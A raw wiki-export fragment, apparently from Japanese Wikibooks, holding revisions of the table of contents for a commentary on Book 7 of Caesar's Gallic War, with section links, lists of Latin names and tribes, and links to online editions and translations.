* &lt;span style=&quot;background-color:#ffffcc;&quot;&gt;[https://www.intratext.com/IXT/LAT0044/_INDEX.HTM De bello Gallico - Table of Contents - IntraText CT]&lt;/span&gt;
*: （ハイパーテキスト化されたテキストと、単語リストおよびコンコーダンスを組み合わせたもの）
** [https://www.intratext.com/IXT/LAT0044/_STAT.HTM De bello Gallico - Statistics - IntraText CT] （頻度ごと単語リストのデータ集）

====Incerti auctoris（編者不詳）====
; [https://books.google.co.jp/books?id=uLA8AAAAIAAJ&amp;lpg=PA98&amp;dq=Caesar+to+Cicero.+Be+of+good+courage.+Expect+aid&amp;pg=PP1&amp;redir_esc=y#v=onepage&amp;q&amp;f=false Caesar Gallic War V with vocabulary]（第5巻）-Google ブックス（プレビュー）


;[https://www.latein.me/ Latein-Wörterbuch - Latein.me]
# [https://www.latein.me/text/3/Caesar/37/De+Bello+Gallico+%28V%29/p/0 De Bello Gallico (V) - Caesar - Latein.me]


&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;&lt;/span&gt;


;nodictionaries.com
&lt;!-- :[https://nodictionaries.com/caesar/de-bello-gallico-1/1 '''Caesar De Bello Gallico 1''' 1 in Latin, with adjustable running vocabulary]
:[https://nodictionaries.com/caesar/de-bello-gallico-2/1 '''Caesar De Bello Gallico 2''' 1 in Latin, with adjustable running vocabulary]
:[https://nodictionaries.com/caesar/de-bello-gallico-3/1 '''Caesar De Bello Gallico 3''' 1 in Latin, with adjustable running vocabulary] 
:[https://nodictionaries.com/caesar/de-bello-gallico-4/1 '''Caesar De Bello Gallico 4''' 1 in Latin, with adjustable running vocabulary] --&gt;
:[https://nodictionaries.com/caesar/de-bello-gallico-5/1 Caesar De Bello Gallico 5 1 in Latin, with adjustable running vocabulary]

==脚注==
&lt;references /&gt;

[[Category:ガリア戦記 第7巻|*#]]</text>
      <sha1>0w4z2tbklnq0u1hw575q7kf47yt1ntz</sha1>
    </revision>
    <revision>
      <id>305262</id>
      <parentid>305254</parentid>
      <timestamp>2026-11-01T08:30:24Z</timestamp>
      <contributor>
        <username>Linguae</username>
        <id>449</id>
      </contributor>
      <minor />
      <comment>/* ゲルゴウィア攻略戦、ハエドゥイー族の離反 */</comment>
      <origin>305262</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="23327" sha1="kavjv9td6hgznsfycm7s8973d9hubnq" xml:space="preserve">&lt;div style=&quot;font-family:Arial Black;font-style:normal;font-size:15pt;color:#990033;text-align:center;background-color:#fff0ff;&quot;&gt;C &amp;middot; IVLII &amp;middot; CAESARIS &amp;middot; COMMENTARIORVM &amp;middot; BELLI &amp;middot; GALLICI&lt;/div&gt;
&lt;div style=&quot;font-family:Arial Black;font-style:normal;font-size:30pt;color:#990033;text-align:center;background-color:#fff0ff;&quot;&gt;LIBER &amp;middot; SEPTIMVS&lt;/div&gt;
&lt;span style=&quot;font-size:13pt;&quot;&gt;『&lt;span style=&quot;background-color:#ffc;&quot;&gt;[[ガリア戦記 第7巻]]&lt;/span&gt;』の単語や構文を詳しく読み解く &lt;span style=&quot;background-color:#fc8;font-size:15pt;&quot;&gt;'''[[ガリア戦記/注解編|注解編]]'''&lt;/span&gt; の目次。&lt;/span&gt;


{| id=&quot;toc&quot; style=&quot;border:0px #ddf; align:left;clear:all;&quot; align=&quot;center&quot; cellpadding=&quot;5&quot;
|-
! style=&quot;background:#ccf; text-align:center;&quot; colspan=&quot;10&quot;| ガリア戦記 第7巻 注解
|- style=&quot;background:#f8f8ff; text-align:right; font-size: 0.85em;&quot;
|[[/1節|1節]]
|[[/2節|2節]]
|[[/3節|3節]]
|[[/4節|4節]]
|[[/5節|5節]]
|[[/6節|6節]]
|[[/7節|7節]]
|[[/8節|8節]]
|[[/9節|9節]]
|[[/10節|10節]]
|- style=&quot;background:#f8f8ff; text-align:right; font-size: 0.85em;&quot;
|[[/11節|11節]]
|[[/12節|12節]]
|[[/13節|13節]]
|[[/14節|14節]]
|[[/15節|15節]]
|[[/16節|16節]]
|[[/17節|17節]]
|[[/18節|18節]]
|[[/19節|19節]] 
|[[/20節|20節]]
|- style=&quot;background:#f8f8ff; text-align:right; font-size: 0.85em;&quot;
|[[/21節|21節]]
|[[/22節|22節]]
|[[/23節|23節]]
|[[/24節|24節]]
|[[/25節|25節]]
|[[/26節|26節]]
|[[/27節|27節]]
|[[/28節|28節]]
|[[/29節|29節]]
|[[/30節|30節]]
|- style=&quot;background:#f8f8ff; text-align:right; font-size: 0.85em;&quot;
|[[/31節|31節]]
|[[/32節|32節]]
|[[/33節|33節]]
|[[/34節|34節]]
|[[/35節|35節]]
|[[/36節|36節]]
|[[/37節|37節]]
|[[/38節|38節]]
|[[/39節|39節]]
|[[/40節|40節]]&lt;!--
|- style=&quot;background:#f8f8ff; text-align:right; font-size: 0.85em;&quot;
|[[/41節|41節]]
|[[/42節|42節]]
|[[/43節|43節]]
|[[/44節|44節]]
|[[/45節|45節]]
|[[/46節|46節]]
|[[/47節|47節]]
|[[/48節|48節]]
|[[/49節|49節]]
|[[/50節|50節]]
|- style=&quot;background:#f8f8ff; text-align:right; font-size: 0.85em;&quot;
|[[/51節|51節]]
|[[/52節|52節]]
|[[/53節|53節]]
|[[/54節|54節]]
|[[/55節|55節]]
|[[/56節|56節]]
|[[/57節|57節]]
|[[/58節|58節]]
|[[/59節|59節]]
|[[/60節|60節]]
|- style=&quot;background:#f8f8ff; text-align:right; font-size: 0.85em;&quot;
|[[/61節|61節]]
|[[/62節|62節]]
|[[/63節|63節]]
|[[/64節|64節]]
|[[/65節|65節]]
|[[/66節|66節]]
|[[/67節|67節]]
|[[/68節|68節]]
|[[/69節|69節]]
|[[/70節|70節]]
|- style=&quot;background:#f8f8ff; text-align:right; font-size: 0.85em;&quot;
|[[/71節|71節]]
|[[/72節|72節]]
|[[/73節|73節]]
|[[/74節|74節]]
|[[/75節|75節]]
|[[/76節|76節]]
|[[/77節|77節]]
|[[/78節|78節]]
|[[/79節|79節]]
|[[/80節|80節]]
|- style=&quot;background:#f8f8ff; text-align:right; font-size: 0.85em;&quot;
|[[/81節|81節]]
|[[/82節|82節]]
|[[/83節|83節]]
|[[/84節|84節]]
|[[/85節|85節]]
|[[/86節|86節]]
|[[/87節|87節]]
|[[/88節|88節]]
|[[/89節|89節]]
|[[/90節|90節]]

| colspan=&quot;6&quot; |
|- style=&quot;background:#f8f8ff; text-align:right; font-size: 0.85em;&quot;
|[[/1節|1節]]
|[[/2節|2節]]
|[[/3節|3節]]
|[[/4節|4節]]
|[[/5節|5節]]
|[[/6節|6節]]
|[[/7節|7節]]
|[[/8節|8節]]
|[[/9節|9節]]
|[[/0節|0節]]
--&gt;
|-
| style=&quot;background:#f5fefe; text-align:left; font-size: 0.8em;&quot; colspan=&quot;10&quot;| 
[[ガリア戦記 第1巻/注解|'''注解'''&amp;nbsp; 第1巻]] |
[[ガリア戦記 第2巻/注解|第2巻]] |
[[ガリア戦記 第3巻/注解|第3巻]] |
[[ガリア戦記 第4巻/注解|第4巻]] |
[[ガリア戦記 第5巻/注解|第5巻]] |
[[ガリア戦記 第6巻/注解|第6巻]] |
[[ガリア戦記 第7巻/注解|第7巻]] |&lt;!--
[[ガリア戦記 第8巻/注解|第8巻]]--&gt;
|}
&lt;br style=&quot;clear:both;&quot; /&gt;
__notoc__


== 各節注解 ==
[[画像:Gaule_-52.png|thumb|right|150px|ガリア戦記 第7巻の情勢図（BC52年）。&lt;br&gt;黄色の領域がローマ領。桃色が同盟部族領。]]
===カルヌーテース族の蜂起===


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/1節]]　{{進捗|25%|2025-11-03}}&lt;/span&gt;　（175語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/2節]]　{{進捗|25%|2025-11-05}}&lt;/span&gt;　（71語）　　　短い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/3節]]　{{進捗|25%|2025-11-17}}&lt;/span&gt;　（93語）　　　短い節


===ウェルキンゲトリークスとガッリア同盟軍の蜂起===


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/4節]]　{{進捗|25%|2025-12-05}}&lt;/span&gt;　（202語）　　長い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/5節]]　{{進捗|25%|2025-12-14}}&lt;/span&gt;　（128語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/6節]]　{{進捗|25%|2025-12-15}}&lt;/span&gt;　（67語）　　　短い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/7節]]　{{進捗|25%|2025-12-16}}&lt;/span&gt;　（78語）　　　短い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/8節]]　{{進捗|25%|2026-01-03}}&lt;/span&gt;　（126語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/9節]]　{{進捗|25%|2026-01-15}}&lt;/span&gt;　（143語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/10節]]　{{進捗|25%|2026-01-16}}&lt;/span&gt;　（96語）　　　短い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/11節]]　{{進捗|25%|2026-02-02}}&lt;/span&gt;　（181語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/12節]]　{{進捗|25%|2026-02-25}}&lt;/span&gt;　（118語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/13節]]　{{進捗|25%|2026-02-25}}&lt;/span&gt;　（88語）　　　短い節


===アウァーリクム攻略戦===


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/14節]]　{{進捗|25%|2026-03-08}}&lt;/span&gt;　（177語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/15節]]　{{進捗|25%|2026-03-08}}&lt;/span&gt;　（114語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/16節]]　{{進捗|25%|2026-03-26}}&lt;/span&gt;　（64語）　　　短い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/17節]]　{{進捗|25%|2026-03-29}}&lt;/span&gt;　（183語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/18節]]　{{進捗|25%|2026-04-21}}&lt;/span&gt;　（81語）　　　短い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/19節]]　{{進捗|25%|2026-04-21}}&lt;/span&gt;　（145-147語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/20節]]　{{進捗|25%|2026-05-05}}&lt;/span&gt;　（307-310語）　　かなり長い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/21節]]　{{進捗|25%|2026-05-17}}&lt;/span&gt;　（61語）　　　短い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/22節]]　{{進捗|25%|2026-06-08}}&lt;/span&gt;　（115語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/23節]]　{{進捗|25%|2026-06-21}}&lt;/span&gt;　（129語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/24節]]　{{進捗|25%|2026-06-21}}&lt;/span&gt;　（147語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/25節]]　{{進捗|25%|2026-07-08}}&lt;/span&gt;　（121語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/26節]]　{{進捗|25%|2026-07-19}}&lt;/span&gt;　（119語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/27節]]　{{進捗|25%|2026-08-01}}&lt;/span&gt;　（79語）　　　短い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/28節]]　{{進捗|25%|2026-08-12}}&lt;/span&gt;　（162語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/29節]]　{{進捗|25%|2026-08-12}}&lt;/span&gt;　（122語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/30節]]　{{進捗|25%|2026-08-29}}&lt;/span&gt;　（90語）　　　短い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/31節]]　{{進捗|25%|2026-08-29}}&lt;/span&gt;　（107語）


===ゲルゴウィア攻略戦、ハエドゥイー族の離反===
{{wikipedia|ゲルゴウィアの戦い}}
*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/32節]]　{{進捗|25%|2026-09-23}}&lt;/span&gt;　（150語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/33節]]　{{進捗|25%|2026-10-04}}&lt;/span&gt;　（150語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/34節]]　{{進捗|25%|2026-10-18}}&lt;/span&gt;　（90語）　　　短い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/35節]]　{{進捗|25%|2026-10-25}}&lt;/span&gt;　（134語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/36節]]　{{進捗|00%|2026-11-01}}&lt;/span&gt;　（190語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/37節]]　{{進捗|00%|2026-11-01}}&lt;/span&gt;

== 関連項目 ==
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記]]&lt;/span&gt;&lt;!--【2006年4月23日起稿】--&gt;
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記/注解編]]&lt;/span&gt;&lt;!--(2020-03-27)--&gt;
***&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記/注解編/写本と校訂版]]　{{進捗|00%|2020-04-17}}&lt;/span&gt;&lt;!--(2020-04-17)--&gt;
***&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記/注解編/表記のゆれ]]　　{{進捗|00%|2026-03-29}}&lt;/span&gt;&lt;!--(2026-03-29)--&gt;
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記/用例集]]　　　　　　　　　{{進捗|00%|2020-03-29}}&lt;/span&gt;&lt;!--(2020-03-29)--&gt;
**[[ガリア戦記/内容目次]]：巻・章・節の内容を記した目次　{{進捗|75%|2011-04-02}}
**[[ガリア戦記/参照画像一覧]]：本文で参照した画像一覧　 {{進捗|75%|2011-04-16}}
*&lt;span style=&quot;background-color:#ffd;font-size:15px;&quot;&gt;[[古典ラテン語]]　　　　　　　　　　　　　　　　　　　{{進捗|00%|2018-04-18}} &lt;/span&gt;

&lt;br&gt;&lt;div style=&quot;font-size:30pt;&quot;&gt;ĀĒĪŌŪ _āēīōū_āēīōū_ &amp;nbsp; Ă Ĕ Ĭ Ŏ Ŭ ă ĕ ĭ ŏ ŭ &lt;/div&gt;

&lt;div style=&quot;font-size:13pt;&quot;&gt;
&lt;math&gt;\overline{\mbox{VIIII}} &lt;/math&gt;
&lt;/div&gt;&lt;!-- [[w:Help:数式の表示]] --&gt;

&lt;!--▲三点--&gt;&amp;#8943;　&lt;!--◀左括弧--&gt;&amp;lsquo;　&lt;!--▶右括弧--&gt;&amp;rsquo;

&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;background-color:#fff;&quot;&gt;&lt;/span&gt;

&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;&quot;&gt;&lt;/span&gt;

&lt;span style=&quot;font-family:Times New Roman;&quot;&gt;&lt;/span&gt;

&lt;!--
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;† : &lt;/span&gt;校訂者が、テクストが壊れていると判断した部分をこの記号で囲んでいる。
--&gt;
&lt;!--
&lt;ruby&gt;&lt;rb&gt;●漢字●&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;●ルビ●&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;
--&gt;

&lt;!--
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/1節]]　{{進捗|00%|2026-11-01}}&lt;/span&gt;
--&gt;
&lt;!--
:　&lt;!--　[[wikt:en:|　--&gt;
--&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;
&lt;!--❶--&gt;&lt;!--❷--&gt;&lt;!--❸--&gt;&lt;!--❹--&gt;&lt;!--❺--&gt;&lt;!--❻--&gt;&lt;!--❼--&gt;&lt;!--❽--&gt;&lt;!--❾--&gt;&lt;!--❿--&gt;&lt;!--⓫--&gt;&lt;!--⓬--&gt;&lt;!----&gt;&lt;!----&gt;&lt;!----&gt;&lt;!----&gt;
&lt;!--&lt;sup&gt;()&lt;/sup&gt; --&gt;
&lt;!--❶❷❸❹❺❻❼❽❾❿⓫⓬--&gt;&lt;!----&gt;

== 関連記事 ==
{{Wikisource|la:Commentarii de bello Gallico/Liber VII|ガリア戦記 第7巻(ラテン語)}}
*ウィキソース
**&lt;span style=&quot;font-family:Times New Roman;&quot;&gt;[[s:la:Commentarii de bello Gallico/Liber VII]] (第7巻 ラテン語)&lt;/span&gt;
**&lt;span style=&quot;font-family:Times New Roman;background-color:#ffffcc;&quot;&gt;[https://scaife.perseus.org/reader/urn:cts:latinLit:phi0448.phi001.perseus-lat2:7 Scaife Viewer | De Bello Gallico] (第7巻 ラテン語)&lt;/span&gt;
**&lt;span style=&quot;font-family:Times New Roman;background-color:#ffffcc;&quot;&gt;[https://scaife.perseus.org/reader/urn:cts:latinLit:phi0448.phi001.perseus-eng2:7/ Scaife Viewer | Gallic War] (第7巻 英訳)&lt;/span&gt;
**&lt;span style=&quot;font-family:Times New Roman;&quot;&gt;[[s:fr:La Guerre des Gaules/Livre VII]] (第7巻 仏訳)&lt;/span&gt;
----
{{Commons|Category:Battles of Caesar's Gallic Wars|Battles of Caesar's Gallic Warsのカテゴリ}}
{{Commons|Category:Murus gallicus|Category:Murus gallicus ガリア壁のカテゴリ}}
*&lt;span style=&quot;font-family:Times New Roman;font-size:13pt;&quot;&gt;[[wikt:fr:Catégorie:Mots en latin issus d’un mot en gaulois]]&lt;/span&gt;
----
*[[wikt:en:Vercingetorix#Latin|Vercingetorīx]]　ウェルキンゲトリークス
*[[wikt:en:Arverni#Latin|Arvernī]]　アルウェルニー族
:　
*[[wikt:en:agri_cultura#Latin|agrī cultūra]]
*[[wikt:en:bellum#Latin|bellum]]
*[[wikt:en:hiberna#Noun|hīberna]]
:　

===地名===
*[[wikt:en:Gallia#Latin|Gallia]]
**Gallia [[wikt:en:cisalpinus#Latin|cisalpīna]]　　ガッリア・キサルピーナ
**[[wikt:en:Gallia_transalpina#Latin|Gallia trānsalpīna]]　ガッリア・トラーンサルピーナ ＜ [[wikt:en:transalpinus#Latin|trānsalpīna]]
**Gallia [[wikt:en:comatus#Latin|comāta]]
*[[wikt:en:Germania#Latin|Germānia]]
:　
*[[wikt:en:Aquitania#Latin|Aquītānia]]　ア
*[[wikt:en:Avaricum#Latin|Avāricum]]　アウ
*[[wikt:en:Gergovia#Latin|Gergovia]]　

*[[wikt:en:Arduenna#Latin|Arduenna]]　
*[[wikt:en:Genabum#Latin|Genabum]]　
*[[wikt:en:Hercynia|Hercynia]]　
*[[wikt:en:Narbo#Latin|Narbō]]　ナルボー
*[[wikt:en:Noviodunum#Latin|Noviodūnum]]　ノウィオ
*[[wikt:en:Vellaunodunum#Latin|Vellaunodūnum]]　ウェッラ

===部族名===
*[[wikt:en:Galli#Latin|Gallī]]
*[[wikt:en:Aedui#Latin|(H)aeduī]]　➡　[[wikt:en:Haedui#Latin|Haeduī]]　
*[[wikt:en:Arverni#Latin|Arvernī]]　アルウェルニー族
*[[wikt:en:Bituriges#Latin|Biturigēs]]　ビトゥリゲース族
*[[wikt:en:Boii#Latin|Boiī]]　ボ
*[[wikt:en:Cadurci#Latin|Cadurcī]]　カドゥルキー族　＞　[[wikt:en:Cadurcus#Latin|Cadurcus]]
**[[wikt:en:Lucterius#Latin|Lucterius]]　ルクテリウス
*[[wikt:en:Carnutes#Latin|Carnūtēs]]　カルヌーテース族
*[[wikt:en:Cherusci#Latin|Chēruscī]]
*[[wikt:en:Condrusi#Latin|Condrūsī]]
*
*[[wikt:en:Eburones#Latin|Eburōnēs]]　（エブローネース）
*[[wikt:en:Gabali#Latin|Gabalī]]　ガバリー族
*[[wikt:en:Germani#Latin|Germānī]]
*[[wikt:en:Graecus#Noun|Graecī]]
*[[wikt:en:Haedui#Latin|Haeduī]]　ハエドゥイー族
*[[wikt:en:Helvetii#Latin|Helvētiī]]　ヘルウェーティイー族
*[[wikt:en:Helvii#Latin|Helviī]]　ヘルウィイー族
*[[wikt:en:Menapii#Latin|Menapiī]]
*[[wikt:en:Nervii#Latin|Nerviī]]
*[[wikt:en:Nitiobriges#Latin|Nitiobrigēs]]　ニティオブリゲース族
*[[wikt:en:Rauraci#Latin|Rauracī]]
*[[wikt:en:Remi#Latin|Rēmī]]　レーミー族
*[[wikt:en:Romani#Latin|Rōmānī]]
*[[wikt:en:Ruteni#Latin|Rutēnī]]　ルテーニー族
*[[wikt:en:Segni#Latin|Segnī]]　（セグニー）
*[[wikt:en:Senones#Latin|Senonēs]]　セノネース族
*[[wikt:en:Sequani#Latin|Sēquanī]]　（セークァニー）
*[[wikt:en:Suebi#Latin|Suēbī]]
*[[wikt:en:Sugambri#Latin|Sugambrī]]
*[[wikt:en:Tectosages#Latin|Tectosagēs]]　（テクトサゲース）
*[[wikt:en:Tencteri#Latin|Tenctērī]]
*[[wikt:en:Tolosates#Latin|Tolōsātēs]]　トローサーテース族
*[[wikt:en:Treveri#Latin|Trēverī]]
*[[wikt:en:Ubii#Latin|Ubiī]]
*[[wikt:en:Usipetes#Latin|Usipetēs]]
*[[wikt:en:Volcae#Latin|Volcae]]　ウォルカエ族
**[[wikt:en:Arecomici#Latin|Arecomicī]]　ア
:[[wikt:fr:Nemetes]]　（ネメテース）

===登場人物===
*[[wikt:en:Caesar#Latin|Caesar]]
:　
[[w:fr:Catégorie:Personnalité de la guerre des Gaules]]


:
*[[wikt:en:Commius|Commius]]
**[[w:コンミウス]]
**[[w:la:Commius]]
**[[w:en:Commius]]
**[[w:fr:Commios]]

*[[wikt:en:Cicero#Latin|Cicerō]]
**[[w:クィントゥス・トゥッリウス・キケロ|クイーントゥス・トゥッリウス・キケロー]]
**[[w:la:Quintus Tullius Cicero]]
**[[w:en:Quintus Tullius Cicero]]
**[[w:fr:Quintus Tullius Cicero]]

*[[wikt:en:Crassus#Latin|Crassus]]


*[[wikt:en:Labienus#Latin|Labiēnus]]
**[[w:ティトゥス・ラビエヌス|ティトゥス・ラビエーヌス]]

&lt;!--
*?
**Crassus
***[[w:プブリウス・リキニウス・クラッスス]]
***[[w:la:Publius Licinius Crassus]]
***[[w:en:Publius Licinius Crassus (son of triumvir)]]
***[[w:fr:Publius Crassus]]
**Labienus (副官)

***[[w:la:Titus Labienus]]
***[[w:en:Titus Labienus]]
***[[w:fr:Titus Labienus]]

**Brutus
***[[w:デキムス・ユニウス・ブルトゥス・アルビヌス]]
***[[w:la:Decimus Iunius Brutus Albinus]]
***[[w:en:Decimus Junius Brutus Albinus]]
***[[w:fr:Decimus Junius Brutus Albinus]]
--&gt;

&lt;br&gt;
===第7巻の関連記事===


&lt;div style=&quot;font-family:Times New Roman;font-size:13pt;&quot;&gt;


&lt;/span&gt;


&lt;span style=&quot;font-family:Times New Roman;font-size:13pt;&quot;&gt;&lt;/span&gt;

== 外部リンク ==
*[[ガリア戦記/注解編#外部リンク]]　を参照。
*[[ガリア戦記/注解編/写本と校訂版#オンライン注釈書等]]　等を参照。

===オンライン注釈書===

&lt;div style=&quot;background-color:#eeeeee;&quot;&gt;
====Caesar's Gallic war : notes by F. W. Kelsey (1897)====
:C. Iuli Caesaris De bello gallico libri VII : 
::Caesar's Gallic war : with an introduction, notes, and vocabulary
::: by [[w:en:Francis Kelsey|Francis Willey Kelsey (1858-1927)]], Fifteenth Edition (1897) 
:::: (HathiTrust Digital Library　[[w:ハーティトラスト|ハーティトラスト・デジタルライブラリ]]で電子化)
:: [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=19 Contents] (#19)

;:─TEXT─
:: '''Book 7''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=243 Commentarius Septimus] &amp;nbsp; (#243)

;:─NOTES─
:: '''Book 7''' 
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=460 BOOK VII., I.-II.] (#460), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=461 III.-V.] (#461), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=462 VI.-IX.] (#462), 
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=463 X.-XII.] (#463), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=464 XIII.-XV.] (#464), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=465 XVI.-XVIII.] (#465), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=466 XIX.-XXI.] (#466), 
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=467 XXII.-XXIII.] (#467), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=468 XXIV.- ] (#468), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=469 XXV.-XXVIII.] (#469), 
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=470 XXIX.-XXXII.] (#470), 


:: '''Book 6'''
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=441 I.] (#441), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=442 II.-III.] (#442), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=443 IV.-VII.] (#443), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=444 VIII.-IX.] (#444), 
&lt;/div&gt;

====English translation by W. A. McDevitte &amp; W. S. Bohn (1869)====
# [http://www.forumromanum.org/literature/caesar/gallic.html (www.forumromanum.org)]
# (www.perseus.tufts.edu)
## [https://www.perseus.tufts.edu/hopper/text?doc=Caes.+Gal.+7.1 C. Julius Caesar, Gallic War, Book 7, chapter 1]


&lt;!--
====Eastman, Frederick Carlos., D'Ooge, Benjamin L. 1860-1940.(1917)====
&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;
*[https://catalog.hathitrust.org/Record/001058370 Catalog Record: Caesar in Gaul and selections from the third... | HathiTrust Digital Library] (catalog.hathitrust.org)
:[https://babel.hathitrust.org/cgi/pt?id=hvd.hn5cnb&amp;view=1up&amp;seq=7&amp;skin=2021 #7 - Caesar in Gaul and selections from the third book of the Civil ... - Full View | HathiTrust Digital Library] (babel.hathitrust.org)
:BOOK IV. [https://babel.hathitrust.org/cgi/pt?id=hvd.hn5cnb&amp;view=1up&amp;seq=393&amp;skin=2021 #393 ]
:IV.34,-38.  [https://babel.hathitrust.org/cgi/pt?id=hvd.hn5cnb&amp;view=1up&amp;seq=403&amp;skin=2021 #403 ]
&lt;/span&gt;
--&gt;

====Harkness, Albert (1889)====
&lt;span style=&quot;font-family:Times New Roman;font-style:normal;&quot;&gt;&lt;span style=&quot;font-size:15pt;&quot;&gt;Caesar's Commentaries on the Gallic War, 　&lt;/span&gt;&lt;span style=&quot;font-size:13pt;&quot;&gt;with notes, dictionary, and a map of Gaul.&lt;/span&gt;&lt;br&gt;　　&lt;span style=&quot;font-size:15pt;&quot;&gt;
　　edited by &lt;u&gt;[[w:en:Albert Harkness|Albert Harkness (1822-1907)]]&lt;/u&gt; &lt;ref&gt;[http://onlinebooks.library.upenn.edu/webbin/book/lookupname?key=Harkness%2C%20Albert%2C%201822%2D1907 Harkness, Albert, 1822-1907 | The Online Books Page]&lt;/ref&gt;, New York, [[w:en:D. Appleton &amp; Company|D. Appleton and Company]], 1889 (Rivised Edition)&lt;/span&gt;&lt;/span&gt;
::Caesar's commentaries on the Gallic war; with notes, dictionary, ... (Full View | HathiTrust Digital Library)

;　BOOK SEVENTH
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn3hve&amp;view=1up&amp;seq=373 #373]
;　DICTIONARY
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn3hve&amp;view=1up&amp;seq=387 #387]


===Humanitext Reader===
&lt;div style=&quot;background-color:#ffffdd;&quot;&gt;
* Humanitext Reader｜ギリシア語・ラテン語古典の原文と日本語訳　-　https://reader.humanitext.ai/
* Humanitext Reader — Greek &amp; Latin Classics with English Translation　-　https://reader.humanitext.ai/en
*:※日本語・英語・中国語・韓国語の４言語により、ギリシア語・ラテン語作品との対訳テキストを読むことができる。
** [https://reader.humanitext.ai/library/phi0448.phi001.humanitext-lat2 ガリア戦記（ユリウス・カエサル）原文・日本語訳・あらすじ — Gallic War · Humanitext Reader]
*** [https://reader.humanitext.ai/read/urn:cts:latinLit:phi0448.phi001.humanitext-lat2:1.1.1-1.1.7 ガリアの三分とそこに住む諸部族｜『ガリア戦記』§1.1.1-1.1.7（ユリウス・カエサル）ラテン語原文・日本語訳 · Humanitext Reader]
** [https://reader.humanitext.ai/en/library/phi0448.phi001.humanitext-lat2 Gallic War (Julius Caesar) — Original Latin Text, English Translation &amp; Summary · Humanitext Reader]
*** [https://reader.humanitext.ai/en/read/urn:cts:latinLit:phi0448.phi001.humanitext-lat2:1.1.1-1.1.7 The Three Divisions of Gaul and Their Inhabitants — Gallic War §1.1.1-1.1.7 (Julius Caesar) | Latin text &amp; English translation · Humanitext Reader]
&lt;/div&gt;
===IntraText CT===
